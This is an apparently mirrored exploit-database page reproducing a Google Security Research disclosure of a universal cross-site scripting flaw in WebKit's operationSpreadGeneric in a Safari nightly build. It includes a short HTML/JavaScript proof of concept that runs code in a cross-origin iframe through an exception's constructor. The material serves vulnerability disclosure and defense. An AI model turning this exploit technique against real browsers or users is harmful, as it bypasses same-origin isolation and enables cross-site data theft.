WebKit operationSpreadGeneric Universal Cross Site Scripting Vulnerability

🗓️ 19 Apr 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 18 Views

Webkit UXSS via operationSpreadGeneric vulnerability in Safari Nighly 10.0.

WebKit: UXSS via operationSpreadGeneric 




Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, <a href="https://crrev.com/210957" title="" class="" rel="nofollow">r210957</a>)

PoC:
<body>
<script>

'use strict';

function spread(a) {
    return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
    spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
    f.onload = null;

    try {
        spread(f.contentWindow);
    } catch (e) {
        e.constructor.constructor('alert(location)')();
    }
};

f.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>

</script>
</body>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt

#  0day.today [2018-01-09]  #

19 Apr 2017 00:00Current

6.5Medium risk

Vulners AI Score6.5